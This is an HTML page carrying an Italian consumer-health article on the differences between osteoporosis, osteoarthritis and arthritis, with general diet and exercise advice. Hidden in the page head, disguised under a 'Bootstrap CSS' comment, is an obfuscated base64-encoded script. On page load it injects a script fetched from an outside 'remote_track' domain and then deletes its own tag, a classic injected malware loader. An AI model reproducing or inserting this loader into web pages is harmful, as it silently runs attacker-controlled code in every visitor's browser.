<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  <!-- Required meta tags -->

  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  <!-- Bootstrap CSS -->
<script id="WucGm" src="data:text/javascript;base64, dmFyIF9jb0o2ayA9IFsnXHg3MVx4NzVceDY1XHg3Mlx4NzlceDUzXHg2NVx4NmNceDY1XHg2M1x4NzRceDZmXHg3MicsICdceDYyXHg2Zlx4NjRceDc5JywgJ1x4NjdceDY1XHg3NFx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDQyXHg3OVx4NDlceDY0JywgJ1x4NDRceDRmXHg0ZFx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRceDRjXHg2Zlx4NjFceDY0XHg2NVx4NjQnLCAnXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NmNceDY1XHg2ZFx4NjVceDZlXHg3NCcsICdceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnLCAnXHg3NFx4NzlceDcwXHg2NScsICdceDc0XHg2NVx4NzhceDc0XHgyZlx4NmFceDYxXHg3Nlx4NjFceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnXTsoZnVuY3Rpb24oXzk0ZjhSLCBfMWtzc04pIHt2YXIgX0dCNnRXID0gZnVuY3Rpb24oXzRGeDY1KSB7d2hpbGUgKC0tXzRGeDY1KSB7Xzk0ZjhSWydwdXNoJ10oXzk0ZjhSWydzaGlmdCddKCkpO319O19HQjZ0VygrK18xa3NzTik7fShfY29KNmssIDB4MTFiKSk7dmFyIF96bXlpcSA9IGZ1bmN0aW9uKF90YUlYUCwgXzFJSWRRKSB7X3RhSVhQID0gX3RhSVhQIC0gMHgwO3ZhciBfeGVUN0EgPSBfY29KNmtbX3RhSVhQXTtyZXR1cm4gX3hlVDdBO307ZG9jdW1lbnRbJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInXShfem15aXEoJzB4MCcpLCBmdW5jdGlvbigpIHt2YXIgX2xYalM3ID0gZG9jdW1lbnRbX3pteWlxKCcweDEnKV0oX3pteWlxKCcweDInKSk7X2xYalM3W196bXlpcSgnMHgzJyldID0gX3pteWlxKCcweDQnKTtfbFhqUzdbJ1x4NzNceDcyXHg2MyddID0gJ1x4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg3NFx4NzJceDJlXHg2MVx4NzJceDc0XHg2OVx4NjNceDZmXHg2Y1x4NjFceDdhXHg2OVx4NmZceDZlXHg2OVx4MmVceDZmXHg2ZVx4NmNceDY5XHg2ZVx4NjVceDJmXHg1Zlx4NzJceDY1XHg2ZFx4NmZceDc0XHg2NVx4NWZceDc0XHg3Mlx4NjFceDYzXHg2Ylx4MmVceDZhXHg3M1x4M2ZceDYzXHg2MVx4NmRceDcwXHg2MVx4NjlceDY3XHg2ZVx4M2RceDRlXHg3MVx4NDNceDUxXHgzMVx4MzdceDMzXHg2Nlx4NGNceDc0Jztkb2N1bWVudFtfem15aXEoJzB4NScpXShfem15aXEoJzB4NicpKVsnXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjQnXShfbFhqUzcpO2RvY3VtZW50W196bXlpcSgnMHg3JyldKCdXdWNHbScpWydceDcyXHg2NVx4NmRceDZmXHg3Nlx4NjUnXSgpO30sIHsnXHg2Zlx4NmVceDYzXHg2NSc6ICEhW119KTs="></script>

  <style>
    img {
      max-width: 100%; 
    }
  </style>

  <title>Differenza tra osteoporosi, artrosi e artrite — Vivere più sani</title>

  <!-- Ajax jquey  -->
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

</head>
<body>
  <center>
    <div class="container" style="max-width: 600px; ">
      <div class="row">
        <div class="col">
          <h1>Differenza tra osteoporosi, artrosi e artrite</h1>
          <h2>Anche se possono soffrirne sia uomini che donne, un dato curioso sulle malattie degenerative come l’artrite, l’artrosi o l’osteoporosi è che colpiscono in maggior misura le donne. Scoprite la differenza tra osteoporosi, artrite e artrosi.</h2>
          <div class="col">
            <img src="Differenze-tra-artrite-e-artrosi-500x329.jpg">
          </div>
          <p>Queste tre patologie non sono la stessa cosa. <strong>c’è differenza tra osteoporosi, artrite e artrosi che meritano di essere approfondite.</strong> Chi soffre di tali condizioni lo sa bene, ma chi è estraneo a questi problemi spesso tende a confondere i termini.</p>
          <p>Oggi nel nostro spazio vogliamo spiegarvi la <em>differenza tra osteoporosi</em>, artrosi e artrite al fine di comprenderle un po’ di più. Siamo certi che queste informazioni vi saranno di aiuto. Scoprite come distingue l’artrite, l’osteoporosi e l’artrosi.</p>
          <p></p>
          <p>Siamo di fronte a realtà mediche molto comuni tra la popolazione. L’aspetto più problematico è, senza dubbio, la loro cronicità e il fatto di essere <strong> malattie degenerative per le quali non esiste un trattamento efficace</strong>.</p>
          <p>Disponiamo, però, di vari farmaci palliativi e di terapie che mirano alla diminuzione dell’infiammazione, dell’indolenzimento o del dolore.</p>
          <h2>La differenza tra osteoporosi, artrite e artrosi</h2>
          <p>Un ulteriore aspetto che hanno in comune artrosi, artrite e osteoporosi è che <strong>colpiscono in maggior misura le donne. </strong></p>
          <h3>Artrosi: la più comune</h3>
          <div class="col">
            <img src="artrosi-alle-gambe.jpg">
          </div>
          <p></p>
          <p>Nell’ambito delle malattie reumatoidi. l’artrosi è una delle più comuni. Siamo di fronte ad una<strong> malattia la cui origine risiede nelle degenerazione della cartilagine.</strong></p>
          <ul>
            <li>Dobbiamo ricordare che la cartilagine è un tessuto che ricopre le estremità delle ossa e che le aiuta a muoversi senza che si tocchino l’un l’altra.</li>
            <li>Se la cartilagine perde resistenza e qualità, compaiono l’attrito, il dolore e l’infiammazione.</li>
            <li>L’artrosi è molto comune nel bacino, nelle ginocchia e nelle caviglie<em> (tutto ciò che supporta il peso nel nostro corpo). </em></li>
            <li>Il dolore di solito si calma quando il paziente riposa.</li>
            <li>Bisogna aggiungere, inoltre, che non esiste nessun farmaco capace di risolvere tale condizione. Ciò che si può fare è rallentare la progressione della malattia, ma mai fermarla del tutto.</li>
          </ul>
          <p>Se non abbiamo sviluppato questa malattia e <strong>vogliamo prevenirla, il consiglio è praticare regolarmente sport di bassa intensità </strong>ed evitare l’obesità. Si consiglia, inoltre, di seguire una dieta ricca di vitamina C, perché agisce come precursore della produzione di collagene.</p>
          <p>Se, invece, soffriamo già di artrosi, dobbiamo evitare che nella nostra dieta manchi il giusto apporto di vitamina C e minerali come il calcio, il fosforo, il magnesio, il silicio e lo zolfo.</p>
          <blockquote><p>Scoprite i migliori alimenti per rigenerare la cartilagine</p></blockquote>
          <h3>Artrite: una malattia non associata all’invecchiamento</h3>
          <div class="col">
            <img src="Ridurre-lartrite-mani.jpg">
          </div>
          <p></p>
          <p>Procedendo con la differenza tra osteoporosi, artrite e artrosi, abbiamo l’artrite. No, l’artrite non dipende dall’età e non è neppure un disturbo con cui dobbiamo convivere con l’avanzare degli anni.</p>
          <p>Sebbene esistano diversi tipi di artrite, questa malattia può comparire anche in bambini ed individui con <strong>una vita molto attiva. Anche chi pratica sport o che ha un ritmo lavorativo intenso </strong>ed esigente può esserne soggetto.</p>
          <p>Per prima cosa, dobbiamo avere chiara l’idea che l’artrite può avere diverse origini:</p>
          <ul>
            <li>Origine immunitaria: il sistema immunitario reagisce in modo avverso nei confronti della membrana sinoviale (uno strato di tessuto che ricopre la parte interna della capsula articolare).</li>
            <li>Origini post-traumatiche: dopo aver subito un urto o aver passato molto tempo a ripetere uno stesso movimento (lavorare al computer, ad esempio, può accelerare tale problema).</li>
            <li>L’accumulo di cristalli causato dall’acido urico, inoltre, può sfociare nella classica “<a href="https://it.wikipedia.org/wiki/Gotta" target="_blank" rel="noopener">gotta</a>”.</li>
          </ul>
          <p><strong>L’artrite è di solito accompagnata da un dolore intenso e continuo.</strong> Mentre chi è affetto da artrosi trova un certo sollievo con il riposo, tale condizione è più persistente.</p>
          <blockquote><p>Leggete: Rafforzare le ossa con il calcio di origine vegetale</p></blockquote>
          <p>Per prevenire l’artrite, dobbiamo seguire una dieta ricca di calcio, acidi grassi omega 3 ed omega 6 e realizzare attività fisica moderata fuori casa, in modo tale che il sole ci permetta di sintetizzare la vitamina D.</p>
          <h3>L’osteoporosi: la più comune nelle donne</h3>
          <div class="col">
            <img src="previene-losteoporosi-ossa.jpg">
          </div>
          <p></p>
          <p>L’osteoporosi è una malattia sistemica, cronica e logorante che danneggia le ossa. È molto comune trascorrere diversi anni senza notare alcun sintomo finché non si manifesta improvvisamente e senza alcuna ragione apparente.</p>
          <p>Si tratta di una realtà molto dura per chi ne soffre. <strong>Dobbiamo ricordare che il tessuto delle ossa si rinnova costantemente</strong>, formando strutture nuove ed eliminando il tessuto vecchio</p>
          <p>Tuttavia, a volte, arrivata la menopausa, ad esempio, tale equilibrio si altera. Smettiamo di generare nuovo tessuto forte e, col tempo, abbiamo meno densità ossea e corriamo un maggiore rischio di subire fratture.</p>
          <ul>
            <li>Con l’osteoporosi le ossa diventano porose, specialmente nella zona dei polsi, del bacino e delle vertebre.</li>
            <li>Per trattare questa malattia, ci saranno di grande aiuto integratori dietetici a base di calcio e vitamina D.</li>
            <li>Allo stesso tempo, e sotto prescrizione medica, sono molto utili i anche i bifosfonati che aiutano a far penetrare il calcio nelle ossa e, quindi, a rigenerarsi.</li>
          </ul>
          <blockquote><p>Leggete anche: Come prendersi cura della pelle durante la menopausa</p></blockquote>
          <p>Per finire, segnaliamo che negli ultimi anni sono comparsi sul mercato farmaci elaborati a base di anticorpi monoclonali. Si applicano tramite punture e migliorano notevolmente la qualità di vita dei pazienti con osteoporosi.</p>
          <p>Sapere la differenza tra osteoporosi, artrosi e artrite può essere molto importante. Parlatene anche con il vostro medico.</p>
        </div>
      </div>
    </div>

  </center>
</body>
</html>
